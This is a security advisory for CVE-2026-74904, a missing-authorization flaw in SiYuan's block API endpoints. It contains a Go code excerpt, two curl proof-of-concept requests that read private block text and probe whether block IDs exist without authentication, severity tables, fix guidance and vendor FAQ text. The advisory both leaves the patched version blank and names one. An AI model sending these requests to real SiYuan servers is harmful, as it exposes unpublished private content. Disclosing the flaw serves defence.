CVE-2026-74904

SiYuan: 17 block metadata/content endpoints in kernel/api/block.go have zero publish-access filtering, reachable by anonymous publish-mode readers

func getRefText(c *gin.Context) {
    ...
    id := arg["id"].(string)
    if util.InvalidIDPattern(id, ret) {
        return
    }
    var refText string
    if notebook, ok := arg["notebook"].(string); ok && notebook != "" && model.IsEncryptedBox(notebook) {
        refText = model.GetBlockRefTextInBox(id, notebook)
    } else {
        refText = model.GetBlockRefText(id)
    }
    ...
    ret.Data = refText
}

# id: a block inside a document that was never published, or is
# Disable=true in publish access
curl -s -X POST http://<target>:6806/api/block/getRefText \
  -H "Content-Type: application/json" -d '{"id":"<private-block-id>"}'
# Returns the block's actual reference text with no session, no
# AccessAuthCode, no publish password.

curl -s -X POST http://<target>:6806/api/block/checkBlockExist \
  -H "Content-Type: application/json" -d '{"id":"<guessed-block-id>"}'
# Confirms or denies existence of any guessed ID workspace-wide.

Any published SiYuan workspace discloses block-level content-derived
text, structural metadata, and existence information for the entire
workspace, not just published notebooks, to any anonymous internet
visitor. getRefText in particular discloses real content text, not
just metadata, for any block ID. The existence-oracle endpoints
(checkBlockExist/checkBlockRef) combine with the companion
advisory's getIDsByHPath title-guessing primitive to let an attacker
efficiently probe for and confirm private content without ever needing
legitimate access.

## Affected products

| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | Present at current HEAD (commit `eef1056`/`1673b75`, reviewed 2026-08-03) |
| Patched versions | *(none yet, leave blank until a fix is released)* |

## Severity

| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |
| Score | **7.5 (High)**. Network vector, low complexity, no privileges or user interaction required, high confidentiality impact via `getRefText`'s real content-text disclosure plus the combined structural/existence oracle from the other 16, no integrity/availability impact since all 17 are read-only. |

## Weaknesses (CWE)

- **CWE-862**: Missing Authorization (primary)
- **CWE-204**: Observable Response Discrepancy (contributing, via the existence-oracle endpoints)

## Notes for filing
- Same CWE-862 family as the two companion advisories from this review
  round (asset/attribute-view listing, and path/title resolution).
  Recommend the maintainers treat all three as one remediation pass:
  grep every `/api/*` handler for the literal presence of
  `IsReadOnlyRoleContext` and manually audit every one that lacks it,
  rather than fixing endpoint-by-endpoint, since the pattern has now
  recurred across three separate files.
- Suggested fix: add `if model.IsReadOnlyRoleContext(c) { ... }` guards
  matching the pattern already correctly used by this file's own
  `getBlockInfo`/`getBlockDOM`/`getRefIDs` functions.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-74904 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260804015139-bd067a4fe9b2); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-74904? CVE-2026-74904 is a high-severity missing authorization vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260804015139-bd067a4fe9b2. It is fixed in 0.0.0-20260804015139-bd067a4fe9b2. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-74904? CVE-2026-74904 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-74904? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260804015139-bd067a4fe9b2 is affected.
4. Is there a fix for CVE-2026-74904? Yes. CVE-2026-74904 is fixed in 0.0.0-20260804015139-bd067a4fe9b2. Upgrade to this version or later.
5. Is CVE-2026-74904 exploitable, and should I be worried? Whether CVE-2026-74904 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-74904 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-74904? Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260804015139-bd067a4fe9b2 or later.

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